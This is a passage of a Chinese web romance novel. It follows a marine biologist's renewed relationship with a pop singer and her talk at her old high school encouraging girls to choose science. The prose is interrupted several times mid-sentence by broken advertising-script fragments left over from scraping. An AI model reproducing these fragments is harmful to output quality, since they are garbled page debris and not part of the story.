乔之没想到会听到这个答案,微张着嘴,不知道要说些什么。其实她心里是为夏安语及时止损而感到高兴的,但又想到她毕竟付出了多年青春,这个结局难免有点伤人。 最后是何舟泽解围道:“你想好了?” 夏安语道:“手上这个单子结束后就准备走 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。虽然这么说很俗气,但是我当初选这个行业是为了钱。现在我已经不打算替我爸妈养儿子了,这么多年也算是还清了他们生我的恩情。” 这短短一句话里的信息量过大,乔之怔了怔,竟想起了很多陈年旧事。 她隐约记得,夏安语有个比她小很多岁的弟弟,她作为姐姐一直不被父母重视。或许是觉得难以启齿,她很少提家里的情况。读书那会儿她还会出去找场子驻唱,或是给人当伴奏,就为了多赚点生活费。 虽然她面上一副对什么都不在意的样子,但乔之那时能隐隐感觉到她一直过得不轻松。 姚朔和何舟泽作为和她朝夕相处的乐队同伴,自然比乔之知道的更多。 姚朔站起身给她夹了一只大虾,笨拙地安慰道:“别提你弟那晦气玩意儿,吃虾!辞职后你要多来江临找我玩哈。” “你怎么比我还真情实感。”夏安语看上去事不关己,似乎已经彻底对自己的原生家庭失望了,“不过谢谢你的虾!手艺确实不错。” 难以掩盖的,她的眼底还是有一点点忧伤和释然的复杂颜色:“我决定之后要为自己好好活——之后可能会到处转转,也可能会申个澳洲的学校,换个新环境。 ” “啊,你要出国?”姚朔惊讶道,“怎么我们几个永远凑不成一个时区。” “那边多舒服呀——”夏安语终于流露出一丝真实的脆弱,“我真的太累了。” 几人都沉默了。 许是怕气氛冷下去,她主动换了个话题:“你们当初是为什么选了自己的专业和职业?” ——这是一个谁都能讲上几句的问题。 何舟泽道:“我那会儿觉得反正学不了音乐,学什么都无所谓,所以志愿都是我爸妈填的。” “哎——那我可比你有追求多了。”姚朔接上他的话,说着说着就有些落寞了,“我小时候老跟我妈一块儿看tvb的律政剧,所以从小就想当律师。现在虽然辞职了,但勉强也算实现了心愿吧。” “行行出状元,我看你做面包也挺有天赋的。”夏安语回了他一声安慰。 姚朔猛灌了一大口可乐,差点呛住。 他咳了好一会儿,又把话头抛向了乔之:“那乔之呢?你那专业还挺冷门的吧,填志愿那会儿怎么选的啊?” 乔之顿了顿,她其实没有深入想过这个话题。高中的时候她生物学得最好,而且比起复杂的人心,她更喜欢探索其他生命的世界。 她答道:“我当时想学生物相关的专业,能填的都填了,海洋科学的序列号刚好在第一个。” 然后就顺理成章地继续读了这个方向,最后又回高校当了老师。 何舟泽的大学专业是生物医药工程,也和生物沾边,于是他问:“那你岂不是也报了我那个专业?” 乔之点点头:“嗯,差一点就录到bme了。” 何舟泽露出可惜的神情,恰好被坐对面的夏安语捕捉到了,引来对方又一句调侃:“怎么?你还想让乔之门门都带你学?” 毕竟那时候但凡有一样的课,他都要和乔之报一个课程班,甚至不惜重排整个课表。 乔之垂眸:“如果真在一个专业,可能只是点头之交。” 因为他们的相遇相识中,意外因素占了更多。或许任何一个节点的变动,他们都不会有后来的故事。 几人聊到很晚。 乔之到家以后,收到了何舟泽发来的一条信息。 【H:不管你选择什么,我都会在某一个时刻开始向你走近。无论晴天还是雨天,月阴或月圆。】 62.第六十二章 跨年夜互相表明心意后,乔之察觉到她与何舟泽之间不再像之前那样总是弥漫着淡淡的尴尬,却仿佛又掉入了另一种僵局。 她清楚了自己的真实感情,却找不到合理的相处方式。 不过何舟泽还是给她留足了空间,仿佛真的像回到起点一般,毫不厌烦地重新开始书写另一个故事。 她还记得在烟花下,他看向她时的神情严肃又郑重:“乔之小姐,我叫何舟泽。身高183,体重70kg。春明市长大,现在是一名歌手……” 他一条一目地向她汇报自己的真实情况,从身高体重到名下资产,从过往经历到未来规划。 乔之被他逗笑了:“你在干嘛?” 何舟泽握住她的手,将其包裹在自己温暖的掌心:“我想让你快速了解这位在追求你的男嘉宾。我的选择只有你,但你永远保留灭灯的权利。” 他不再是那个能每天陪她上课的少年了。他有了新的爱好,有了自己喜欢的事业。可是他给她的明目张胆的偏爱却没有变过,就像这句信誓旦旦的“无论刮风下雨、阴晴圆缺”。 乔之想到一个人或许能解答自己疑惑,于是她给远在印度洋科考的祝声发了一条微信。 【Jo:你现在忙吗?我有个情感问题想问问你……】 祝声和她有几小时的时差,这会儿大概还没睡。 果然,那头很快就直接打来了一个视频电话。 乔之接起。 许是海上信号不好,祝声的视频画面有些卡顿。她比之前晒黑了一点,人似乎也瘦了,不过还是那副充满活力的样子。 “好久不见呀!什么情感问题?说来听听!”她开门见山地问。 乔之抿抿唇,也决定直截了当地说:“何舟泽和我表白了。” 祝声没想到她一上来就丢了个爆炸新闻,震惊地让视频画面又卡了两下,好半天才恢复了信号:“我发现每次听到你们俩的事,保准谁都会被震惊得愣上几秒。” 上回她得知了顶流歌手的远古恋情,这次又听到了第一手私密消息。 乔之比上一次更坦诚道:“我也还喜欢他。” 但紧随其后的是完全意外的走向:“……但是我没有答应。” 祝声沉默了片刻,问:“你还是担心上次跟我说那件事吗?你怕和他在一起之后,会成为他光环下的阴影,从此没有人会注意到你本身。” 她一针见血地点出了乔之最大的忧虑。 见乔之不说话,她反问了一句:“既然你这么回避这段感情,那……你为什么会察觉到自己喜欢他呢?” 上次她连喜欢都不肯承认。 乔之终于找到一个可以将自己这几个月来心境转变说出来的口子。 她道:“以前,我以为自己身边有个反面教材。我害怕成为她,所以一直努力往另一个方向走。” 因为她给乔希刻画了一个与事实截然相反的形象,所以多年来她一直视爱情为洪水猛兽,在任何情况下都有可能将其第一个丢弃。 “可是她走了以后我才知道不是这样。”她再想起乔希,还是会忍不住鼻酸,“……她跟我说:自由是既能选择不爱,也有勇气去爱。然后我才意识到,原来这么多年,我一直害怕的是正视自己的内心。” 乔之平时在外人面前的形象是镇定理智的,虽然接触后能感觉她的善良柔软,但始终有若隐若无的疏离。 她这一番话发自肺腑,倒是让祝声措手不及。 她想了想,问了一个看似毫不相干的问题:“乔乔,你知道余惜文院士已经结婚了吗?” 乔之不明白她的用意,但还是回道:“有所耳闻。” “那你一定不知道她的丈夫是谁吧?”祝声顺手将手机立在了桌边,腾出两只手撑着下巴。 她似乎是在房间里,身侧有一张窄窄的单人床。她笑说,“是辉光集团的现任董事长。” 辉光集团是国内数一数二的企业,乔之偶尔在新闻里能看到祝声口中的那位董事长,只听说也是江大校友,但她从来想过竟然会是余惜文院士的丈夫。 见乔之惊讶的神情,祝声道:“很惊讶吧?余院士的公公,也就是辉光的前董事长这次也在我们船上。前两天有几个同事偶然说起,我才知道这件事。” “你看,知情人其实很少,会把余院士的成就和她丈夫挂钩的人更是几乎没有。他们夫妻俩在彼此的领域里各自精彩,谁也没有遮掩谁的光彩。” “乔,其实我觉得你也不必担心别人掩盖你的光彩。前段时间你为海豚表演奔波的事情已经传遍了咱们这个圈子,我们船上有好多老师在夸你。他们说:‘江大那位老师真是了不起,竟然能推动省里第一例海豚放流。’我们都知道这件事很不容易,可是你却做到了。爱一个人比这简单得多,你为什么不试试呢?” 乔之怔了怔,没想到自己一点小小的努力能被这么多人知道。 祝声认真道:“爱你想爱的人和追求自我没有冲突。我敢说他们不一定都认识何舟泽,但一定知道我们江大有个敢为人先的乔老师。” “‘自由是既能选择不爱,也有勇气去爱’,这句话说得多好呀。”她感慨了一句,最后作结道,“乔乔,爱本来就是本能,勇敢去爱吧。” 祝声不愧是恋爱专家,三言两语便说进了乔之的心里。 她忽然想起从前和何舟泽在一起的时候,虽然时常有女生想着法子接近他,但何舟泽从未让这些追求者影响到她。他为她处理好所有的事情,给她留足了纯白的空间。 他做闪闪发光的校园明星与她在科研上勇攀高峰从来没冲突过,偶尔的窃窃私语从没阻止她做自己。 虽然他们分开多年,但既然还彼此喜欢,或许她可以再尝试一次。 乔之由衷地道谢:“声声,谢谢你。” - 翌日一早,乔之主动给何舟泽发了条消息:【你今天是不是要走了?】 昨晚吃饭时,他提到自己接下来一段时间要在京市为发布新专辑和开年后的巡演做准备。 这是乔之第一次主动找他,所以何舟泽回得很快:【在去机场的路上。怎么了?】 没想到那边又发来一个问题:【那你近期还会回江临吗?】 何舟泽忍不住笑了一声,引得方鸣回头莫名其妙地看了他一眼。 他冷哼了一声,几乎百分百肯定,这个人肯定是在和乔老师聊天。 方鸣心里盘算着,再这么下去,他大概要开始准备公布恋情的公关方案了。 何舟泽没理会他的眼神,敲了几个字:【可能过两周吧。抱歉,工作排 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得有点满。但是你如果想见我,我们可以视频。】 他这话让乔之看得莫名脸红,掩耳盗铃般地说了句:【上次答应你的那顿饭还没还。】 说的是何舟泽主动为海洋馆补录宣传片的事情。 【H:不急。以后有的是时间找你兑现。】 这话说得笃定,仿佛乔之躲到天涯海角,他都能找到她。乔之生怕他又直白地说出什么让她接不住的话,匆匆结束了话题。 又过了几日,温言给乔之带来一个消息。 “学妹,我们发的两条视频播放量都超过五百万了!我的个人账号粉丝数也超百万了。”温言的声音很雀跃。 乔之为此感到高兴:“恭喜!” “哎呀,主要还有你的功劳!”温言给乔之发了一张截图,“平台年前会在京市开年终盘点大会,邀请我去领奖。我想问问你要不要一起去,毕竟这是我们共同努力的成果。” 乔之点开来看,发现是一张邀请函,上面写他们的视频获得了“年度最具社会影响力”的奖项。 其实制作视频的主力还是温言,如果不是她强大的行动力,可能这件事也不会这么快被推动起来。 乔之刚想婉拒,又忽然想起何舟泽接下来一段时间都会常驻京市,年前那时候可能还没离开…… “好。我和你一起。” 温言听到她的回答,惊讶道:“你居然答应得这么爽快!我还准备了好几套说辞劝你呢。” “刚好那个时间放假了。”乔之笑了笑,仿佛是在掩盖自己暗藏的心思,又补了一句,“正好有空。” 这天接连有人来找乔之,挂断温言的电话后,上次在超市偶遇的高一班主任李春燕给她发了条微信。 【春天:乔之啊,上次我跟你说的讲座的事情,你考虑得怎么样了呀?】 李春燕不提,乔之真快把这件事给忘了。跨年那天的记忆几乎都被与何舟泽有关的画面填满了,她竟一时没想起当时在超市,李春燕提过一嘴,想邀请她回高中开个分享会以鼓励学弟学妹。 李春燕说的时间恰好撞上江大的考试周,乔之只需要负责她任教的那门课的考试,倒是有空。不过她想不到自己能回去说些什么,她并不是一个具有感染力的演说家。再者,她和李春燕其实没那么熟,没有非要应这个人情的必要。 她正准备找个工作忙的说辞拒绝,却见对面又发来长长一段话。 【春天:最近高一年级要准备选科分班了,很多学生搞不清自己的喜好的未来方向,所以很迷茫。我记得你当时特别坚定地选了全理科,想请你跟他们分享分享自己的看法。你那个海豚表演的视频最近我们学校特别火,很多学生都知道你是他们的学姐。我想你说的话他们可能听得进去。还有江大最近的招生政策什么的……】 乔之也才刚入职,又不是招生办的,招生政策这些当然是一无所知。李春燕后面说的那些话她也没放心上,可是前面提到选科的事情,她不由得想起了自己。 当初她在办公室和李春燕呛声后,虽然坚持选了物化生,但有相当长的一段时间里陷入过自我怀疑。那时候没有人告诉她,学科和性别根本没有关系。所以她花了很长的时间去自证,才终于说服自己。 于是她想了想,回复道:【好啊,我有时间的。】 63.第六十三章 离上午最后一节下课还有十分钟,江临市第三中学高一学生辛仪文正撑着脑袋昏昏欲睡,稍不留神就要撞上课桌板。 昨晚她偷偷在被窝里刷了一晚上的手机,眼下被空调暖风对着吹,实在提不起精神。 同桌戳了戳她的手肘,小声道:“快醒醒,老班的课你也敢睡。” 这节是他们班主任李春燕的数学课。李春燕的严厉名声在外,就连班上那几个最调皮的男生也不敢在她的课上造次。 果不其然,辛仪文一听到“老班”两个字就清醒了半分。她赶紧抬起头看向讲台,不想却和李春燕的视线撞了个正着。对方微蹙着眉头,显然是已经发现她刚刚在打瞌睡。 辛仪文在心里默默叹气,盘算着晚点被拉去问话的时候要找个什么样的理由才合适。 三中严禁学生在校内使用手机,违反校规者轻则点评批评,重则处分停课。上一回她偷带手机被宿管阿姨抓过一次现行,要不是她是初犯且认错态度良好,估计早就被贴在楼下的告示栏里公开“处刑”了。 李春燕经验老道,抓违禁行为很有一套,不知道这次能不能瞒过她的法眼…… 辛仪文心虚地低下头。 李春燕将粉笔丢回了粉笔盒,辛仪文远远地就能听见粉笔撞上粉笔的脆响,像极了她即将被撕碎的血条。 不想,她没有听到意料之中的批评,只见李春燕叹了口气道:“我知道有些同学可能觉得自己才高一,离高考还很远,没把学习放心上……” 辛仪文头皮一紧,心道:老班怎么改走阴阳怪气的道路了。这听上去比直接点她名还让她难受。 李春燕继续说:“但是,高考其实已经近在咫尺。上周大家填报了初步选科意向,有些同学对此犹豫不决,甚至毫无想法。下学期开学前我们就要正式确定了,所以我请大家认真想想自己的未来,想想高考目标分,想想心仪的大学和专业。” 虽然她没明说谁是“有些同学”,但辛仪文肯定其中必有自己的一份。 上星期的选科意向调查问卷里,她只写了班级、姓名,下边的科目她一个没勾,直接交了白纸。她本以为李春燕马上就会来找她谈话,但不知为什么至今都没有和她约谈。 辛仪文对选科其实不是毫无想法。她想读生物信息学专业,这就意味着她必须要在高考中选物理、生物和技术*三门科目。这三项的竞争是地狱级难度,可是辛仪文目前的成绩并不是很好。她害怕会被轮番劝退,更害怕听到别人跟她说“你这样的只能当分母*”。 辛仪文的几个朋友都选了政史地,虽然文科拿高分也不容易,但努努力就不至于太差——几乎所有人都是这么说的。 所以她犹豫了。 李春燕掐着下课的点,对他们说道:“下午的自习取消,学校请了一位优秀校友回来给大家做分享。大家都认真听一听,这位学姐或许能给你们的选科或是职业规划一些启发。” 这句话一说完,下课铃分秒不差地响起。李春燕风风火火地走了,竟然没追究辛仪文上课打瞌睡的事。 - 李春燕一早就在校门口等乔之,见人来了便上前招呼:“也是刚下班吧?是不是还没吃午饭?三中这几年变化可大了,我带你去食堂吃一顿。” 李春燕事先想在学校边上安排一顿,乔之实在不愿意这么大费周章,最后只能退而求次之,推说想回食堂再体验体验。 不过这话也不假,三中的食堂全市有名,选择众多、口味丰富,天冷了甚至还有小火锅供应。 乔之自高中毕业后就再也没回过母校。三中这些年花了不少钱翻新校舍,教学楼和其他建筑都与她印象中有所不同。不过当年那棵大榕树还在花坛边,严冬依旧翠绿。 食堂这个点人来人往,各个楼层都人声鼎沸。 李春燕带乔之去的是教工食堂,就在学生食堂一楼内部。虽然菜式没那么多,但至少安静宽敞。 进门前,李春燕撞上个女生,似乎是她班上的学生。 她道:“辛仪文,下午讲座结束后来我办公室一趟。” 女生的脸上瞬间戴上了痛苦面具,但还是安分地点头:“好的,李老师。” 李春燕正准备挥挥手让她走,又想起乔之正在边上,顺道介绍了一句:“这就是下午要给你们开分享会的学姐,乔之。她现在在江大做生物研究,你到时候有问题可以积极提问。” 女生的眼睛似乎亮了一亮,点头如捣蒜道:“学姐好!” 乔之向来对这样浑身洋溢着生机和活力的女孩有好感,也微笑回道:“你好,我是乔之。我们下午见!” 女生兴高采烈地走了。 李春燕看着她的背影,头疼道:“这是我班上的一个学生,人挺机灵的,就是做事不上心,上回选科意向什么都没写。我正准备找她聊一聊呢。” 乔之听到这话,若有所思地点点头。 一般学生面对学校的官方非匿名问卷,即便没想法也会先糊弄两笔,毕竟这只是初步调查。如果有人交了白纸,那要么是刺头——但这个女生显然不像,所以就是她的心里有难以宣之于口的秘密。 - 下午的分享会安排在报告厅,高一年级按照班级就座,李春燕带的五班正好在正中最前排。 乔之一眼就看见了刚刚在食堂碰见的那个小姑娘,她们眼神对视的瞬间,两人都友好地勾了勾嘴角。 主持人报了一串长长的开场白,给她加上的各种名头和描述都很唬人。 乔之拿到话筒的第一句就是:“大家好,我是乔之。谢谢主持人刚刚的介绍,但其实今天我在这里只有一个身份,那就是三中的毕业生。” 乔之扫视了一眼台下的学弟学妹们,几乎每个人脸上都流动着鲜活的青春气息,而她离高中时代却已经很遥远。她和他们之间有一条宽阔的、不可忽视的代沟。 她开口道:“距离我毕业,迄今已经有十年。所以李老师找我来分享选科心得、未来规划之类的事情时,我其实对这些名词都已经感到很陌生,一时之间竟然也想不到有什么经验可以分享给大家。最后,我决定讲两个故事。” “第一个故事发生在我高一的时候。当时我面临了和你们一样的难题,在七门选考科目中犹豫不决。后来我选了物化生,但是很多人劝我三思,列了很多理由——比如理科不适合女生,比如选理科的风险很大。” 乔之顿了顿,想到李春燕就在台 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下,她不想当面兴师问罪让她难堪,于是换了个说辞:“但是啊,我那时候16岁,还正是叛逆期,明知山有虎,偏向虎山行。既然你们都不想让我学理科,那我非要一探究竟。最后我发现他们都说错了:女生也可以把理科学得很好,读理科的风险明明也带来了更多的专业选择。” “同样的,文科也不是女儿国,更不是智识或个人气质的度量衡。我有个男性朋友,身高接近190,人高马大,经常自称‘猛男’。”说到这,台下发出了一声哄笑,乔之笑着继续道,“但是他是我们那一年江临市唯一一个语文作文满分的考生,高中选的就是政史地三门纯文科,最后在江大读法学。” “所以我想说,学科选择和性别无关,和别人无关,你只需要对自己负责。不要让出机会,也不要错失任何一点可能。” 在第一个故事结束后,台下有人举手,正是那个叫辛仪文的女生。 乔之示意主持人递话筒,最后见辛仪文站起来,犹豫了一会儿道:“学姐你好,你在做某个选择、走上某一条路之前,会害怕失败吗?我们要怎么确定自己的选择是正确的呢?” 其实乔之刚才一直在留意辛仪文。在她提到自己高中选科的事情时,女生脸上的神情格外紧张。此刻她提出了这个问题,乔之心里当即就明白了她的顾虑。 于是她温声道:“谢谢你的问题,这刚好和我要讲的第二个故事有关。” 乔之分享了自己在读博期间的一件事。 当时她对某个方向的课题很感兴趣,但是现有可参考的研究很少,这就意味着她必须承担一事无成的风险。在正式动手前,她犹豫了很久都无法下定决心。 “我的导师问了一个问题:‘你是想要做复制他人工作的机器,还是去找一条新的路?’我选择了后者。”乔之耸了耸肩,遗憾道,“但是我失败了。我花了一年的时间也没有看到可预见的终点。” 那时她已经快读完博士三年级,却什么都没做出来。最后她不得不从零开始,选择了一个新的课题方向。 “新课题行进得还算顺利。直到快收尾的时候,我再次遇到了一个难题。不过,很快我就发现了一个惊人的事情——那个我以为失败的研究,竟然完美地和这个难题衔接上了。那块我一直无法拼上的拼图,在一年后找到了真正的安放之处。” 乔之将视线重新转回辛仪文,对方正一脸期待地等她继续说下去。 “原来‘正确’也是相对的。既然如此,那我们为什么要去‘确定’一件事的正确性呢?很多人把别人的标准当作自己的量尺,却忘记彼此走的路径本就不同。” “与其在岔路口瞻前顾后,不如先大胆向前走;比起追求完美,保持勇气更重要。” 说到这,她忽然顿住,一时间返照了自身。在事业上她确实这样做了,可是在某些地方她却始终没有放开。 乔之定了定,仿佛也是在告诉自己:“生活不是电脑程序,我们要过的也不是绝不出错的人生。” 台下的目光全都聚焦在了她的身上,那些埋头写作业的人也呆呆地放下了笔。 “谢谢大家,这就是我的两个故事。” 几秒钟的静默后,报告厅掌声雷动。 64.第六十四章 分享结束后,不断有学生围上来,拿着本子向乔之要签名。 乔之哭笑不得,她又不是明星,只当他们是表达对她的喜爱。 “学姐,谢谢你的分享,很有启发!之前理科不好,现在开始努力还来得及吗?” “学姐,你现在具体在做什么方面的研究?” “学姐学姐,你是不是出镜了那个抵制动物表演的科普视频?” …… 围在乔之边上的学生你一言我一语,想问的问题无穷无尽。 乔之尽可能地一一回答,心里很高兴。 “乔之。”一道不属于少年人的声音响起。 乔之疑惑地转头,看见了一个长相眼熟的男人站在外缘叫她:“我是杜凯,你还记得吗?我们高一的时候同班过,那时候我是数学课代表。” 乔之听见这个名字就想了起来。 杜凯当初的数学成绩很好,高一一开学就被李春燕选为了课代表。乔之和他前后桌坐了一整年,直到后来分班才不再是同学。 她不知道他为何在这,但见学生们各自散去,心里猜测他可能是回三中当了老师。 她礼貌道:“记得。你现在是在三中工作吗?” 杜凯腼腆地点了点头:“对。现在和李老师一样,在教高一数学。” 说罢,他又指了指门口的方向:“李老师临时有事,我代她招待你。要一起去逛逛吗?” 乔之没拒绝,和他一前一后出了报告厅。 杜凯带乔之在三中校园里转了转,见到熟悉的景物就和她讲起以前的事。 乔之其实对高中没那么多美好回忆,那会儿她天天想着要证明自己,常常独来独往,一门心思都在学习上。不过她不忍打断老同学叙旧,所以一直礼貌地给出及时回应。 “有件事我一直放在心里过意不去。”杜凯挠了挠头,像是终于进入正题,“高一有一回你数学没考好,李老师私下向我打听你平时的作业情况。她没明说,但我猜她可能是怀疑你抄了我的作业。” 说着,他又急忙解释道:“当然我知道这不可能。不过我怕她误会我们俩有什么,只说不清楚——后来我一直很后悔,尤其是自己当了老师以后。那时候你多委屈啊,我都没站出来替你澄清。” 乔之没想到这件事竟然还有她不知道的细节。 她转头看见身边的男人一脸羞愧,像是真心实意地在向她道歉。 这件事说起来不是什么值得反复讨论的严重过失,只不过是给当年那个刚进入高中、对未来三年充满期待的年轻女孩重重一击,第一次感受到了失误的代价。 杜凯其实没做错什么,虽然他那时没能站出来做个好人,但乔之没有责怪他的理由。 “乔之,你真的很厉害。那时候我和班上很多男生都标榜自己是聪明但没努力,但我心里一直都知道,我就算拼尽全力也肯定比不过你。”杜凯语气恳切道,“前段时间我看到了你那个倡导保护海豚的视频,我真佩服你。乔之,你果然还是那个坚定又勇敢的人。” 乔之听到他的真诚自白,不由得一愣,旋即笑说:“谢谢。你现在也很好,没白费你的数学能力。” 其实她已经释然了,无论是对李春燕还是其他人。她再也不需要向别人证明自己了,也不再害怕出错了。而那些曾在高中时代带给她不愉快的人也按照自己的人生路径,过上了平凡的生活。 他们终将是平行线,以后也不会再相交。 杜凯挠挠头,犹犹豫豫地问:“你过会儿有空吗?要不要一起吃个晚饭……” 他说话的同时,一条微信消息跳进乔之的手机。 她拿起来扫了一眼。 【H:我回江临了,要不要一起吃晚饭?】 乔之抬起头,眼底是一抹喜色。 她对杜凯道:“不好意思,我晚上有约了。” - 何舟泽这次回江临是为了一个人物专访。 摄影组约了江临古街的一处庭院,采访前还要先拍一组人物写真。何舟泽穿了件黑色的新中式衬衣,靠坐在一座八角亭的栏杆处,等摄影师完成最后一个造型的拍摄。 他的长相气质和硬照相当适配,时尚表现力向来很好,所以没多会儿就收了工。 负责采稿的记者提前来了现场,等和何舟泽拍完照片后没多久就开始了采访。 这是何舟泽与前经纪公司解约后第一个的人物专访。他成立了个人工作室,正在筹备新专辑和来年的巡演。他在音乐事业上走到了新的转折点,个人生活似乎也有了意外变动。 记者不出意外地就跨年晚会的那首情歌提了几个个人问题。 “你在微博上说这首歌你准备了很多年,那为什么现在才发出来?” “之前经常有人说我不唱情歌是在立人设,其实不是——我只是觉得时机还没到。现在时机可能到了,我也需要调整自己的状态进入新阶段。” 记者揪住了他口中的关键词,追问了一句:“是什么时机呢?” 何舟泽却没打算明说,只笑着搪塞道:“等一切确定后会告诉大家。” 见他没打算坦白,记者了然地将话题重新拉回作品上:“前段时间网上其实有流出另一个版本的《不唱情歌》,似乎是你大学时期的作品。两个版本很相似,但仔细听会发现新版做了很多改动。” “对。这首歌实际上一共有三个版本,但是前两个都不符合现在的心境,所以跨年那版是今年重新改过的。” 记者没想到在这样一个过渡的小问题上也能挖出新的料,惊喜道:“哇,那我们还有机会听到另一个神秘版本吗?” 何舟泽沉默了一瞬,又闪起了他那双明亮的眸子,笑说:“或许吧。” - 何舟泽约的时间比较晚,所以乔之先回了一趟学校。 她在办公室查着文献,隔壁组的老师找过来给她分水果。 “小乔老师,还在忙呀?”沈教授敲了敲门,笑眯眯地看着乔之。 乔之赶紧起身,把她迎进来:“沈老师,你怎么来了?”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈教授提起手里的一个透明塑料袋,里边装着几个黄澄澄的柑橘:“老家那边给我寄了点橘子,我拿来给你尝尝。” 这个教授已是接近退休的年纪,早年意外丧女,平时常常把学院里的年轻女老师当女儿对待。乔之常受她的照拂。 “您太客气了。”乔之赶紧接过来,又给她倒了杯水。 “这个橘子吃了不上火,甜得很!要不是祝老师还在印度洋,肯定要缠着我多给她留几个。” 乔之笑着应是,又问:“您最近腿疼好点了吗?” 沈教授早年下野外伤了膝盖,年纪大了以后常犯毛病。乔之给她试过几款从国外带回来的保健品。 “好多了,你之前给我的那个补品真有用,我让在国外的老朋友又给我寄了好多盒。” 沈教授正好没什么事,顺势在沙发上坐下了,和乔之随便闲聊了几句。 等走时,刚好在门口撞上一个人。 正是刚结束了工作来找乔之的何舟泽。 何舟泽刚和乔之的视线碰上,还没来得及开口,就见眼前的老教授打量了一下他们俩,语出惊人:“你就是小乔老师的男朋友吧?我听吴主任提过一嘴。” 沈教授年纪大,平时并不关注娱乐圈,显然是不认识何舟泽。她这话让乔之一时不知该从何解释。 她看向何舟泽,见对方竟然嘴角含笑,全然没有澄清的意思。 沈教授亲切地握住何舟泽的手,赞叹道:“模样真好,一看就是一对儿。” 然后她开开心心地走了,办公室又剩下两人。 乔之嗔怪道:“你怎么没解释?” 何舟泽轻轻掩上了门,笑着看她:“老师在夸我帅呢,为什么要解释。” 乔之知道他在避重就轻,干脆不再与之纠缠。 她问:“今天时间有点晚了,自己做饭可能有点来不及。要不我们吃点别的?” 她欠何舟泽的这一顿饭,竟然一拖再拖。不过她心里却隐隐觉得这样拖下去好像也不错,至少两人都可以有再见面的理由。 何舟泽明明说了要重新追她,实际上没过两天就回了京市,他们已经很久没见过了。 “那我可以加收利息吗?”何舟泽玩笑道。 乔之出乎意料地故意跳进他的圈套:“……可以再加一顿。” 何舟泽见她挣扎犹豫的表情,忍不住笑出声:“那我可当真了。乔老师,你现在欠我两顿。” 他的计谋得逞,便不再得了便宜还卖乖,道:“今天朱师傅在店里,他上午特意给我发了信息。你想去吃咸蛋黄炒年糕吗?” 上次乐队聚餐的时候,朱师傅因为老家有事离开了一段时间,店里是别的厨师在负责。乔之无意提到过一句很久没吃咸蛋黄炒年糕了,没想到何舟泽居然还记得。 正好何舟泽在幸福小厨有私人包厢,而一般人也想不到他这样的大明星会常去这样一家看上去平平无奇的小店,所以那里的私密性反而很好。 于是乔之点点头:“好啊。” 65.第六十五章 朱师傅得知何舟泽来了店里,竟然亲自来上菜。 乔之看见这个带着厨师高帽、长着一张圆脸的男人,瞬间就想起了当年站在二楼食堂窗口后面的那个身影。 朱师傅比那时候多了几条皱纹,但笑眯眯的和蔼神情却一点没变。 “你就是小何那个朋友对吧!他说你一直想吃我做的咸蛋黄炒年糕。”朱师傅待人热情,乐呵呵地把装着年糕的圆盘摆在了乔之面前。 乔之站起来与他搭话:“朱师傅您的手艺很好,我读书那会儿经常去食堂二楼买你做的年糕。” 朱师傅仔仔细细地看了看乔之的脸,激动道:“小同学,我记得你!你是不是每周二晚饭都会来我的窗口?” 乔之有些惊讶,她没想到时隔多年,朱师傅居然对她还有印象。 她的确每周都会在星期二去食堂二楼买一份咸蛋黄炒年糕。 起初她自己都没发现这个规律,后来是何舟泽偷偷告诉她:“有几次我下了体育课想去二楼买冰沙,没想到每次都会在窗边的位置看见你。为了和你多说上几句,我后来经常在这个点假装偶遇你。” 他第一个学期选了篮球课,在周二下午最后一节。后来为了吃晚饭的时候在她面前保持形象,他总是提早溜回寝室洗澡。 乔之还记得何舟泽好几次对着体育成绩叹气:“要不是第一个学期出勤被扣了好多分,我的体育肯定都是满分。” 眨眼已是许多年过去,朱师傅离开了江大食堂,当初的少年人也都长大。 乔之点头:“是我,谢谢您还记得。” “我当然记得我的忠实粉丝啦!”朱师傅打趣道,然后又问了句,“你现在还在江临上班吗?有空常来,我保准给你打折。” 乔之笑着应“好”,聊了好一会儿才把人送走。 朱师傅离开后,何舟泽为乔之倒了杯水:“朱师傅就是有点太热情了,你别被他吓到。” 乔之摇摇头:“不会。” 她其实也挺高兴的,因为看见朱师傅就好像又捡回了一块遗落的记忆碎片。来自过往的美好片段似乎在慢慢复苏,以某个人、某件事或某个物件的形式。 何舟泽突然问:“学校什么时候放寒假?” 乔之看了眼校历:“十九号……下周五。” 想了想她又问:“你这次在江临待几天?期末周我不太忙。”言下之意是可以再见面。 何舟泽遗憾道:“明早就要走。” 见乔之脸上闪现过一点微不可察的失望,他的心情忽然很好:“等新专准备完毕我就会回来——到时候就要麻烦乔老师兑现一下承诺了。” 听到何舟泽归期不定的行程安排,乔之开了个玩笑:“何先生,我怎么感觉好像是我在追你?” 眼前这个人嘴上说着好听的话,实际上只活在互联网世界。乔之感觉自己像是在网聊一个暧昧对象。 何舟泽听见这话,嘴角扬起了灿烂的笑,殷勤地给她夹菜:“我错了。小的这就服侍您用膳。” 今晚的咸蛋黄炒年糕一如往昔,他们好像也回到了食堂二楼靠窗那张小小的餐桌——一如往昔。 两人吃完饭往外走,何舟泽又是全副武装,只露了双眼睛在外头。 大堂和包厢之间的走廊上方坏了一盏灯。他压低帽檐,在昏暗的灯光下难辨身份。 不过似乎发生了意外。 乔之和何舟泽快绕过大堂的时候,忽然有个女生靠近,似乎想要和他们搭话。 何舟泽自是遇见过许多次类似的情景,他的脑子里当即警铃大作。 正当他在“快速离开”和“友好互动”之间纠结时,那个女生激动地问道:“你是……乔之老师吗?!” 两人俱是一愣。 乔之没想到在与何舟泽同行的情况下,会有陌生人叫住她。而且对方显然没在意站在她身边的何舟泽,光顾着和她搭话。 她搞不清当下的情况,但还是礼貌地回了句:“我是。请问你是?” 那个女生得到肯定回答后,立马把手机亮给她看:“我是您的粉丝!您的那几期科普视频我都盘包浆了,什么时候出新的呀?” 上面正显示着她和温言发布的第一期视频,屏幕下方的点赞和投币的按钮都被点亮了。 “……粉丝?”乔之怔了怔,这个回答让她非常意外,她受宠若惊,“谢谢你的喜欢。这个暂时还不确定,有更新的会第一时间上传到这个账号。” 这几期视频的覆盖面和影响力比她想象中还要广泛。 